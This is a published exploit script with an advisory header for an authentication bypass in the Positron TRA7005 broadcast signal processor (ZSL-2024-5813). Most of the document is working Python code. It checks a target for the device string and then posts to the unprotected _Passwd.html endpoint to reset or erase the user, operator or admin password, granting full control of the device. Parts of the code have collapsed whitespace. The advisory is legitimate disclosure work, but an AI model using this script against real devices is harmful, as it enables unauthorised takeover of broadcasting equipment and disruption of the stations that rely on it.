# Exploit Title: Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass# Author: LiquidWorm# Vendor: Positron srl# Product web page: https://www.positron.it# https://www.positron.it/prodotti/apparati-broadcast/stereo-multicoder/tra-7005/# Affected version: 1.20# TRA7K5_REV107# TRA7K5_REV106# TRA7K5_REV104# TRA7K5_REV102## Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to# guarantee an excellent quality-price ratio in compliance with current regulations and# intended for individual broadcasters or radio networks. All models in the TRA7000 series# are fully digital, using only high-quality components such as 24-bit A/D and D/A converters# and 32-bit DSP. The TRA7005 performs the functions of Stereo Coder, RDS Coder, 5-output# MPX Distributor, AGC (adjustable) for both analogue and digital audio inputs, Clipper# for both analogue and digital audio inputs, change-over emergency switching between any# input with adjustable thresholds and intervention times, both in the switching phase on# the secondary source and in the return phase to the primary source. Ethernet connection# with Web-Server (optional) for total control and management of the device. Advanced BYPASS# system between MPX input and outputs, active on operating and power supply anomalies and# can also be activated remotely.## Desc: The Positron Broadcast Digital Signal Processor TRA7005 suffers from an authentication# bypass through a direct and unauthorized access to the password management functionality.# The vulnerability allows attackers to bypass Digest authentication by manipulating the# password endpoint _Passwd.html and its payload data to set a user's password to arbitrary# value or remove it entirely. This grants unauthorized access to protected areas (/user,# /operator, /admin) of the application without requiring valid credentials, compromising# the device's system security.## Tested on: Positron Web Server### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2024-5813# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5813.php### 22.03.2024##import requests,sys
print("""
______________________________________
┏┳┓•┏┓┓┏┓┓•
┃ ┓┏┓┓┏┃┃┏┓┏┏┓┏┏┏┓┏┓┏┫┣ ┓┏┏┓┃┏┓┓╋
┻ ┗┛┗┗┫┣┛┗┻┛┛┗┻┛┗┛┛ ┗┻┗┛┛┗┣┛┗┗┛┗┗
┛ ┛
for
Positron Digital Signal Processor
ZSL-2024-5813
______________________________________
""")iflen(sys.argv)!=4:print("Usage: python positron.py <ip:port> <user/oper/admin> <erase/new_pwd>")
sys.exit(1)
ip = sys.argv[1]
ut = sys.argv[2]
wa = sys.argv[3]
valid_ut =['user','oper','admin']if ut.lower()notin valid_ut:print("Invalid user type! Use 'user', 'oper', or 'admin'.")
sys.exit(1)
url =f'http://{ip}/_Passwd.html'
did =f'http://{ip}/_Device.html'try:
r = requests.get(did)if r.status_code ==200and'TRA7K5'in r.text:print("Vulnerable processor found!")else:print("Not Vulnerable or not applicable. Exploit exiting.")
sys.exit(1)except requests.exceptions.RequestException as e:print(f"Error checking device: {e}")
sys.exit(1)
headers ={'Content-Type':'application/x-www-form-urlencoded','Accept-Language':'mk-MK,en;q=0.6','Accept-Encoding':'gzip, deflate','User-Agent':'R-Marina/11.9','Accept':'*/*'}
payload ={}if wa.lower()=='erase':
payload[f'PSW_{ut.capitalize()}']='NONE'else:
payload_key =f'PSW_{ut.capitalize()}'
payload[payload_key]= wa
#print(payload)
r = requests.post(url, headers=headers, data=payload)print(r.status_code)print(r.text)